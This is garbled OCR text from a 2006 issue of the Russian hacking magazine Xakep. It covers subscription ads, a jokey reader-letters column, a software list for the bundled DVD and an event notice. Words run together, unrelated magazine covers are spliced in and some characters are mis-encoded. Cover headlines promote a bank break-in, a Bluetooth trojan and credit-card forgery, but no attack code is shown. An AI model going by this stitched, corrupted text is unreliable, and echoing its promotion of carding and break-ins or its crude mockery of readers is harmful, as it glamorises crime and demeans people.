Core 6новый Раздел с тематичесКими подбоРКами: виРтуальные машины и софт для флешКи4 видеоуРоКа по взлому и пРезентации с deFCon 2006фотогРафии и видео с аКции «надеРи нас в paIntball!»ж у р н а л - т р е н д с е т т е рболее 300 отбоРных пРогРамм для винды и ниКсовсамый демоКРатичный дистРибутив линуКса — Fedora Core 6Ñèíê-Blockbuster magazine #122006новый Раздел с тематичесКими подбоРКами: виРтуальные машины и софт для флешКи4 видеоуРоКа по взлому и пРезентации с deFCon 2006фотогРафии и видео с аКции «надеРи нас в paIntball!»PUBLISHINGFOR ENTHUSIASTSLET’S HI FUNшансы и вызовы хххРЕДАКЦИОННАЯПОДПИСКАс 1 октября по 31 декабря проводитсяСпециальная акция для читателей журналаГодовая подписка по цене 11 номеров!2 160 руб 1980 руб.ПЛЮС подарокодин журналдругой тематикиTotal DVD 69 декабрь 2006 • А н д ж е л и н а Д ж о л и • А п о к а л и п с и с • Б о р а т • С е з о н о х о т ы • Т е л е в и з о р S a m s u n g • Н о в ы е о б з о р ы д и с к о в 5 р е г и о н а3382152006 [ноябрь] 11ОБЗОРBattlefield 2142КАК УКЛОНИТЬСЯ ОТ ПРИЗЫВА?ИНТЕРВЬЮFinal Fantasy XIIРЕЦЕПТЫ КУЛЬТОВЫХ РОЛЕВЫХ ИГРSUPREMECOMMANDERNEED FOR SPEEDCARBON23#224ДЕКАБРЬ | 2006В РАЗРАБОТКЕ:World in Conflict, Final Fantasy X I, Корсары:Возвращение Легенды, Medal of HonorAirborne, Rogue Wa rior, Def Jam: Icon,The Legend of Zelda: Phantom Hourgla s,EyedentifyОБЗОРЫ:N ed for Speed Carbon, Okami, God Hand,Ba tlefield 2142, Завтра война, Gothic I,Sid Meier’s Railroads!, Table Te nis,Stronghold Legends, Caesar IV, Sam & Max:Culture Shock, D ep Labyrinth, Actionl op,F.E.A.R. Extraction Point, Star Wars: Empireat War – Forces of Co ruption, DragonWa rior V IИГРОМИРSID MEIER’SRAILROADS! ОБЗОРCLOVERSTUDIOИНТЕРВЬЮNEED FOR SPEEDCARBONИГРОМИРGOTHIC 3ЮБИЛЕЙНЫЙ НОМЕР!256 СТРАНИЦЗверскийвломWindoWsVistaОформив годовую подписку в редакции, вы можетебесплатно получить один свежий номер любого журнала,издаваемого КОМПАНИей «Гейм Лэнд»:ЯНВАРСКИЙ номер — подписавшись до 30 ноября,ФЕВРАЛЬСКИй номер — подписавшисьдо 31 декабря.Впишите в купон название выбранного вами журнала,чтобы заказать подарочный номер.НА СЛИКАХ ПО ЛЬДУ: БИТВА «МОСКВА VS. НИЖНИЙ НОВГОРОД»250 СИЛТУРБО ДЛЯ ВАЗАQUAD SLI62 220 вольт в метель и морозы7 МАУНТИН-ТЕСТОВБАЙКОБОРОТНИКАК БУДЕТТОРМОЗИТЬMAGURA В 2007?О СЛАВЕ,СИЛЕ И ВСЕМИРНОМDVD&ПОСТЕРСАШАМОРОЗFORUMTHATTOURГаззаев, Анри, Хиддинк, Шишкин, Тотти, Колосков, Чех, Адвокат, Карвалью, Бобров, Федотов, Овчинников, Карпин, Кавенаги, Шемберас Декабрь 2006TotalFootball 11 -200711>17REFLEXÒÐÅÍÄÛ-2007ÂÎÑÏÎÌÈÍÀÍÈßПОП-фудКтулху в тестеFrankie MorelloэКсКлюзивНОе иНтеРвЬюПиРатсКийНОмеРНОЯБРЬ 11(55) 2006И это не все!31 декабря среди читателей,оформивших подписку на весь 2007 год,будет разыграно 200 MP3 плееровВнимание! Второе спецпредложение!При подписке на комплект журналовжелезо dvd + хакер dvd + хакер спец cd:1. годовая подписка по цене 11 номеров! – это 3 номера в подарок2. ДОПОЛНИТЕЛЬНО СКИДКА 10% на весь комплект3. плюс бесплатная подписка на любой журнал (game)land на 3 месяца!QUAD SLIДВАЖДЫ ДВА VGA62Тестируем БПв домашнихусловиях Феномен UMPCЗверскийвломWindoWsVistaтехнологиясовеРшенныхРутКитов• беРем сбеРбанКвзлом сбеРегательногобанКа уКРаины6480 рубСВОЙБИЗНЕС октябрь 20065292рубçà 12 ìåñЯöåâ+ СПЕЦПРОЕКТ:Короли зимнего отдыхаDVD в комплекте 220 вольт в метель и морозы• 10 хаК-Квестовна dVdWE ARE HACKERS.WE ARE TOGETHER• КишКи таКсофонаРубРиКа InsIdeвеРнулась в жуРнал!• тРоян с синим зубомсоздаем своегоbluetooth-тРояна


Как оформить заказ1. Разборчиво заполните подписной купон и квитанцию,вырезав их из журнала, сделав ксерокопию или распечатавс сайта www.glc.ru.2. Оплатите подписку через Сбербанк .3. Вышлите в редакцию копию подписных документов —купона и квитанции — любым из нижеперечисленныхспособов:по электронной почте subscribe@glc.ru;по факсу 8 (495) 780-88-24;по адресу 119992, Москва,ул. Тимура Фрунзе, д. 11, стр. 44-45,ООО «Гейм Лэнд», отдел подписки.ВЫГОДА ГАРАНТИЯ СЕРВИСхххВнимание!шансы и вызовыПодписка оформляется в день обработкикупона и квитанции в редакции:в течение пяти рабочих дней после отправки подписныхдокументов в редакцию по факсу или электронной почте;в течение 20 рабочих дней после отправки подписных документов по почтовому адресу редакции.Рекомендуем использовать факс или электроннуюпочту, в последнем случае предварительно отсканировавили сфотографировав документы.Подписка оформляется с номера, выходящего через одинкалендарный месяц после оплаты. Например, если вы производитеоплату в ноябре, то журнал будете получать с января.Подписка на журнал «хакер» на 6 месяцев стоит 1080 руб. Подарочные журналы при этом не высылаютсяПо всем вопросам, связанным с подпиской, звоните по бесплатным телефонам8(495)780-88-29 (для москвичей) и 8(800)200-3-999 (для жителей других регионов России, абонентов сетей МТС,БиЛайн и Мегафон). Вопросы о подписке можно также направлять по адресу info@glc.ru или прояснить насайте www.GLC.ruПОДПИСНОЙ КУПОНÏÐÎØÓ ÎÔÎÐÌÈÒÜ ÏÎÄÏÈÑÊÓ ÍÀ ÆÓÐÍÀË «Хакер»»


units ODkxNzIyOkphUGpmMWswe-mailНа вопросы отвечал практикующий врач-терапевт ЛозовскийFrom: KS-NEO-T [7311223@mail.ru]Subject: ***Здравствуйте, magazine.Проблема есть помогите разрулить есть в мегофоне услуга поискаместа коорденат сотового телефона но кот посылаеться смс надакаойнибуть способ поймать эту смс проблема в том что пропалаподруга и немагу найти ее но знаю мобильник и он раз через развключаеться уже неделю нету вестей от нее вот вопщем вот таквотили есле есть кокуенибуть прогу под мегофон чтоб показовола каординатымо москве и московской облости ну вопще есле порроссиито будит кул плиз хлп уже незнаю кому обратиться чесна пишу всемнекто не отвечает хоть ответе что нет я буду знать что небыл оставленбез внемание.С уважением, KS-NEO-TПривет, уважаемый KS-NEO-T! Вообще‐то, твое послание рисковалоостаться очередной раз без «внимание». Используя свой таланттелепатической интроспекции, я понял, что обычному человеческомумозгу не дано не только проникнуть в глубины твоих суждений, нои просто осилить их графическое отображение. Но поскольку этомоя работа, я был вынужден расширить границы своего восприятияи немного запалить кишку с помощью где‐то 0,5 л огненной воды.Знаешь ли, это помогло мне прочесть твое письмо полностью.Для того чтобы достичь абсолютного понимания, я затарился ещеи бутылочкой Балтики № 9. Но этот коктейль сыграл со мной злуюшутку — я упал под стол и лежал там до утра, а вокруг меня летали«каординаты», смс, мобильники и девушка из «облости» по имениПрасковья и с грудью-доскою. В общем, что я хочу сказать: нетничего странного, что эта девушка пропала. Не ищи ее — она в хорошихруках.From: Myp3zz [myp3zz@mail.ru]Subject: Научите :)/ 156Здравствуйте, уважаемая редакция журнала ][. Я очень даженачинающий юзер. Скажите, с чего мне начать, читаю журнали большую часть слов не понимаю. Вы скажите: «Вбей в поисковик»,что мне туда вбить? Как стать хакером? Если решитесь мнепомочь, то я знаю, что такое мыло, аська и другие примитивныевещи, им меня учить не нужно. А если решите мне не помогать,то не ставьте мое письмо как самое дурацкое — неопытностьпрощается :).З.Ы. Спасибо, что дочитали до конца.С уважением, myp3zzКак же тебе не стыдно, уважаемый! Чем же мы заслужили, что нашчитатель разлива 2006 года демонстрирует нам такой ярый инфантилизм?Что вбить в поисковик? В качестве ответа я могу привести тебепару цитат. Первая: «Куда ты хочешь попасть?» — «Все равно куда».— «Тогда все равно, куда идти» (из «Алисы в стране чудес»). Вторая:«Для человека, который не знает, к какой гавани он направляется,ни один ветер не будет попутным» (слова Сенеки). Резюме: то, что тыхочешь узнать, и надо вбивать в поисковик.В далеком 1998 году, когда рунет был молод, на прилавках разныхзлачных мест лежали диски «Суперхакер» — куча слитых «Телепортом»хак-кряк-варезных сайтов, тру-хакерские езины того времении многое другое. Из него я, кстати, узнал про Infected Voice и стал егорегулярным читателем. В общем, этот диск я нашел в своих закромахи слил образ Степу. Кое-что, конечно, цензура выкинет, но даже то,что останется, позволит тебе окунуться в атмосферу тех времен.Читай и больше нас не огорчай!P.S. «Помоги, помоги мне… я хочу рассказать, в чем дело… Помоги,помоги мне, я хочу, чтоб моя душа тоже пела» (с) ДеЦл.From: Павел Марков [fobos17@mail.ru]Subject: Кто пишет для вашего журнала статьи?Привет, «Хакер», я недавно стал читать ваш журнал и обнаружил, чтов нем, кроме статей ваших постоянных авторов, появляются статьиот совсем мне неизвестных людей. Причем темы этих статей далекиот основной идеи вашего журнала. Не значит ли это, что любойболее-менее грамотный человек может написать для вас интереснуюстатейку?xàêåð 12/96/ 06OTE1ODIyOmNGSWI1ZTFn


unitsmagazine@real.xakep.ruP.S. Понимаю, что вам мылят все, кому не лень, поэтому буду безмерноблагодарен за то, что вы хотя бы дочитаете мое письмо, и вообщебуду на седьмом небе, если вы мне ответите!Конечно же, нам пишут не только постоянные и известные авторы, нои различные темные персонажи, которых мы подбираем на площадитрех вокзалов или около строгинских общаг. Те самые, которые стояттам с табличками типа «Пишу на Cи за еду», «Will fuck for beer», «Памагитена леченийе в гирмании» и т.д. Если смог написать табличку, значитграмотный, значит и статью написать сможет. Как говорят некоторыехирурги: «Не умеешь вязать узлы? Шнурки умеешь завязывать? Значит,и тут завяжешь». Так что, если ты более-менее грамотный, знаешь, какписать «оро-оло» и «жи-ши», пиши нам — будем безмерно рады.From: Spam [rootkithunter@mail.ru]Subject: Visual Hack ++Importance: HighДоброго времени суток, товарищи хакеры.Большое Вам спасибо за подшивку журналов в pdf. У меня былатакая, но не совсем полная, и многого не хватало. Размер прилагаемогодиска теперь 9 Гб — вообще отлично! Может, Вы в следующихномерах выложите «Хакер Спец» и «Железо». А еще очень большаяпросьба выложить все видео по визуал-хаку, начиная с самогопервого. Я думаю, все читатели это оценят. Кстати, ребята, CamtasiaStudio, конечно, рулит, но лучше делайте не флешками, а в обычномрадующем душу avi :). Один мой знакомый вообще смотрит визуал-хакВашего журнала на телеке с помощью такого девайса, какDVD-плеер :). Ну, пора закругляться, респект и уважуха, хорошегоконнекта, как говорится…С уважением, SpamP.S. Spam — это ник, а не то, что Вы подумали ;).Большое спасибо? А ты знаешь, что спасибо не булькает, что егонельзя положить в карман и из него не варится каша? Не знаешь?Да ладно, рады стараться, хотя 9 Гб свежачка накачать — это тебе нефунт изюму съесть. Степ буквально трещит по швам, и даже рекомендованныйАссоциацией украинских психиатров плакат «для зняттястресу» не действует. Чтобы горячие подмосковные блондинки моглипомочь ему в плане снятия стресса, он решил себя немного разгрузитьи нашел себе помощников — двух расторопных зеленых инопланетянс планеты Омикрон-9. Так, кажется, я немного гоню. Можетбыть, это инопланетные роботы-убийцы со встроенными виброоргазмотронамина головном конце и DVD-резаком на противоположном?Вроде бы, тоже нет :(. Ну, неважно. Респект и уважуха, и да не сдохнеттвой модем в недалеком будущем, и да пребудет с тобой Коннектий!From: Евгений Нужный [nuzhnyi@mail.ru]Subject: Привет, редакция ][прошу помочь мне с выбором комплектующих и написать хотя бынебольшой, но содержательный рассказ о совместимости компьютерногожелеза, и вообще о том, какие девайсы какого производителялучше брать (преимущественно категорий «производительность»и «цена/качество_производительность»). Очень надеюсь на вашупомощь. Ответ прошу написать на e-mail: nuzhnyi@mail.ru. ЗаранееСПАСИБО :)!NuzhnyjПривет, Нужный!Крутая у тебя фамилия, а главное — позитивная. Хорошо, например,что не «Нужник» :). Судя по твоему описанию, ты какой‐то жестокийкомпьютерный скиталец, который творит злые дела на чужих тачках,чтобы не палить себя :), и оправдывает это отсутствием собственной.На самом деле, нормальный комп для хака можно выменять на пиво(причем с CD-приводом) и наживить на него старую БЗДю. Так что неприкидывайся гофрошлангом, иди в магазин и покупай компьютер,не стесняйся :). А если не справишься сам, пиши знатокам умственного(и не только) онанизма из журнала «Железо», они тебе помогутсобрать любую тачку!From: samrat [samrat@bk.ru]Subject: Дорогая редакцияПоявлением двухслойных DVD восхищен. Даешь дистрибутивыDebian linux в ближайших номерах.Ынжынер, чирти исчо!Пей водка — будь бамбуча!Contact me by E-mail or at ICQ: 200773600Also you can contact me there:IRC server: irc.forestnet.orgchannel: #ru_embeddedports: 6667, 6669 or 7000 (cp1251), 6668 (koi8r)Зело рад! Зри, человече! Будет тебе Дебиан! Кстати, у тебя настоящаяфидошная подпись, давай, я тоже отожгу в таком духе:«Быть бамбуча — это есть кал полной ложкой!Можно подтираться ежиком, но зайцем приятнее.ФИДО — рулез».From: konyakov@yandex.ruSubject: Привет, магазин!Привет, магазин!Купил журнал, читаю, не могу оторваться! Интересно, просто ах…Октябрьский номер, имхо, один из немногих действительно интересныхномеров за последнее время!Продолжайте так дальше!Привет, ][акеры! Очень люблю ваш журнал, но, к большому сожалению,у меня нет возможности покупать каждый выпуск :(. Увлекаюськомпьютерами, радиоэлектроникой и разного рода мобильной техникой(типа мобильных телефонов и пр.). Своего компьютера пока неимею :-( (благо всегда есть друзья с машинами ;-)), собственно, из‐заэтого вам и пишу. Пришло время (появились $) мне покупать комп,но, так как у меня практики не было почти никакой, не знаю, что лучшебрать. Поэтому вас, как спецов в области компьютерного железа,xàêåð 12/96/ 06/З.Ы. 9 Гб софта — это просто офигенно! С.п.а.с.и.б.о.!С уважением, Autospelest0luh — KasАх, какой пассаж! Спасибо тебе на добром слове, о человек с алкоголическойфамилией! Для тебя же старались, для тебя делалибольшой диск, с которого удобно ставить проги, но и на которыйможно ставить стопочку конъячковского :). Шучу. В общем, резюме:Телепузики, давайте обнимемся! z157


№ 12(96) декабрь 2006x>> WINDOWS> Daily Soft&RQ 0.9.7.2ACDSee 9Agnitum Outpost Firewall PRO 4.0Alcohol 120% 1.9.6.4629Cute FTP Professional 8DAEMON Tools 4.0.6Dot.net Framework 2.0Download Master 5.1.5.1045Far Manager 1.70Flashget 1.73KishKish SAM BETA Ver. 3.6LePutty 2006.11.03Miranda IM 0.6 Test Build 8mIRC 6.2Mozilla Firefox 2.0Mozilla Thunderbird 1.5.0.7Notepad++ 3.8Opera 9.02QIP Build 7990Reget Deluxe 4.2.265SecureCRT 5.2Semagic 1.5.9.9Skype 3.0 BetaTeleport Pro 1.42TheBat! 3.85.03 PROTotal Commander 6.55aUnlocker 1.8.5Winamp 5.3Windows Live Messenger 8.1 BetaWinrar 3.61Xakep CD DataSaver 5.1XChat 2.6.9a> DevelopmentAqtime 5Contribute 3dotTrace Profiler 2.0Dreamweaver 8Feed Editor 4.03Fireworks 8GlowCode 6HiAsm 3.62 b160Instrumentation Model Kit 1.5Kontinuum 2006LangMF v6.5.8MASM Builder v1.52MegaTek mini application 0.0.1MULTILIZER 6.2Nullsoft Scriptable Install System2.21Pascal ABC 2.7.3Perl Express 2.4.5PHP Designer 2007 Professional 5.0.7RapidDriver 2.1.1.1RegionCreater 3.0SQLViewer 1.0.4.9Stealth PE 2.2Windows Mobile 5.0 SDK forSmartphoneWindows Server 2003 R2 PlatformSDK 5.2.3790.2075.51Windows Vista SDK Beta 2WinHex 13.5WML Edit Lite 0.3XML Notepad 2006> MultimediaArtRage 2Musicmatch Jukebox 10.00.4015cNamo WebEditor 2006Shade 8Vegas Movie Studio+DVD 6.0bАрхивариус 3000 3.76Мо говорушка 8.5> NetAnti Tracks 6.9.14Blue's Private Chat v2.1.50FTPDrive 3.5Gizmo 2.0.2.227Hamachi 1.0.0.62 betaHidden Administrator 1.5ICQSafeBook v0.4iNetFormFiller 3.5.07NetShareWatcher 1.2.0nic by burewarOCCnet Ver.2.0P2P Barrier 1.0.0Proxomitron 4.5jRapGet 1.26Shareaza 2.2.3.0STCLite v.3.3WebcamMax Full 2.3.0.11Почтальон 2.13> SecurityConsole Oracle Security Scannerby eas7cRARk 3.0Data Thief 1.0Digital Security Office 2006ipEye 1.2Metasploit Framework 3.0 Beta 3Nessus 3.0.4netcat 1.11nJin4 0.3PMD 3.8PromiScan 3.0RockXP 4.0Sleuth 1.4.2SwitchSniffer 1.3.2UltraShredder 4.5.2Wireshark 0.99.4> ServerES Proxy 4.04Virtual Hoster 3.08Gattaca Server 1.17HoneyBOT 0.1.2MAPILab Groupware Server 1.2.1MySQL 5.1.12TopServer v2.1UserGate 4.0Warden .htaccess Manager 1.1WinAgents RouterTweak 1.0WinConnect Server XP v.2.0WormScan 1.6.1XDenSer NetScreen v.2.0 finalZebra DEMO 5.4> SystemAcronis Disk Director Suite 10.0Aggressive Spam Defense 2.32AnyReader v.1.9Backup To DVD-CD 5.1.198Bilarm 1.4Blink Professional v2.5ClamAV 0.88.2.1Cutter 2.1e-Speaking Voice and SpeechRecognition 3.6.3FolderToDrive 1.2Jetico Personal Firewall 2.0.0.16BetaNorton Ghost 10Sly AntiShareWare 1.1StrongDisk ProSystem QPORT 4.0.625System Safety Monitor 2.2.0.597Vir.IT eXplorer Lite 6.1.30VMware Workstation 5.5.2Watchdog-O-Matic 4.00WinGuard Pro 2006 6.5WinTuningXP 3.3.2XP Tweaker 1.53xp-Antispy 3.96-4>> UNIX> DevelAutoconf 2.61Automake 1.9.6Binutils 2.17Bison 2.3Freetype 2.2.1Gcc 4.1.1Gd 2.0.33Gettext 0.16Glib 2.12.4Gmake 3.81Gmp 4.2.1Gtk 2.10.6Libiconv 1.11Libjpeg 6bLibmcrypt 2.5.7Libnet 0.10.11Libogg 1.1.3Libpcap 0.9.5Libpng 1.2.13Libtiff 3.8.2Libtool 1.5.22Libxml2 2.6.26Php 5.2.0Pkg-config 0.21Qt 3.3.7Sdl 1.2.11Subversion 1.4.2T1lib 5.1.0Zlib 1.2.3> MultimediaAmarok 1.4.4Audacity 1.2.6Avidemux 2.3pre2Blender 2.42aMplayer 1.0rc1Mplayerxp 0.6.0Vlc 0.8.5Xine-ui 0.99.4Xine-lib 1.1.2> NetCentericq 4.21.0Fetchmail 6.3.5Firefox 2.0Gaim 2.0.0beta5Mutt 1.5.12Pptp 1.7.1Psi 0.10Rsync 2.6.8SeaMonkey 1.0.6Smtp-vilter 1.3.4Sylpheed 2.2.10Sylpheed-claws 2.6.0Thunderbird 1.5.0.8TightVNC 1.2.9Wget 1.10.2> OfficeAbiword 2.4.6Inkscape 0.44.1Lyx 1.4.3Mirage 0.8.1OpenOffice.org 2.0.4Scribus 1.3.3.5> SecurityClamav 0.88.6Ettercap 0.7.3Fwbuilder 2.1.7Gnupg 2.0John 1.7.2Kismet 2006-04-R1Mcrypt 2.6.4Nmap 4.11Openssl 0.9.8dRats 2.1Stunnel 4.16Sudo 1.6.8p12Tcpdump 3.9.5> ServerApache 2.2.3Bind 9.3.2-p2Courier-imap 4.1.1Cups 1.2.7Dhcp 3.0.5Dovecot 1.0.rc15Mysql 5.0.27Nut 2.0.4Openldap 2.3.30Openssh 4.5p1Openvpn 2.0.9Postfix 2.3.4Postgresql 8.1.5Pure-ftpd 1.0.21Samba 3.0.23dSendmail 8.13.8Snort 2.6.1Sqlite 3.3.8Squid 2.6.STABLE5> SystemAti 8.28.8Bash 3.2Bzip2 1.0.3Cdrtools 2.01Checkinstall 1.6.1Coreutils 6.5Initng 0.6.8Iptables 1.3.6Linux 2.6.18.3Madwifi 0.9.2Mc 4.6.1Nvidia 1.0-9629Qemu 0.8.2Vim 7.0Wine 0.9.24Zsh 4.2.6> X-DistrsMandriva Linux 2007OpenBSD 4.0ДЕКАБРЬ 12(96) 2006ПОДДЕЛКАКРЕДИТОККАК ЗАРАБАТЫВАЮТКАРДЕРЫ2 ДИСТРИБУТИВАUNIX НА ДИСКЕWE ARE HACKERS.WE ARE TOGETHERВАРДРАЙВИНГПОД НИКСАМИУЧИМСЯ СКАНИРОВАТЬWI-FI СЕТИ ПОД UNIXWI-FI ТОЧКАДОСТУПАРАЗЛАМЫВАЕМНА КУСКИКОМПЬЮТЕРЫБУДУЩЕГОИЗ ЧЕГО И КАКИХ БУДУТ ДЕЛАТЬ20НОВОГОДНИХПОДАРКОВМЫ СПРЯТАЛИВ ЭТОМ НОМЕРЕMANDRIVA LINUX 2007OPENBSD 4.0СОФТ ДЛЯ DVD-RIP’АПРИКОЛЫ ПО BLUETOOTH+ СПЕЦПРОЕКТ: КОРОЛИ ЗИМНЕГО ОТДЫХАOTUyNDY2OnhyYmUxUDVW


Хакерские гонкиDATE: начало январяLOCATION: редакция «Хакера» в МосквеEVENT: тусня с редакцией, показ презентации по IT-безопасности и безумные хакерские гонки на радиоуправляемых машинкахDESCRIPTION: Приглашаем самых верных читателей потусоваться в редакции сразу после новогоднего веселья. Гвоздь программы— гонки на радиоуправляемых модельках и показ элитной security-презентации :). Для участия необходимо прислать свою заявкуна radiocar@real.xakep.ru. В теме письма нужно указать число «31337-1»./ 160xàêåð 12 /96/ 06

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!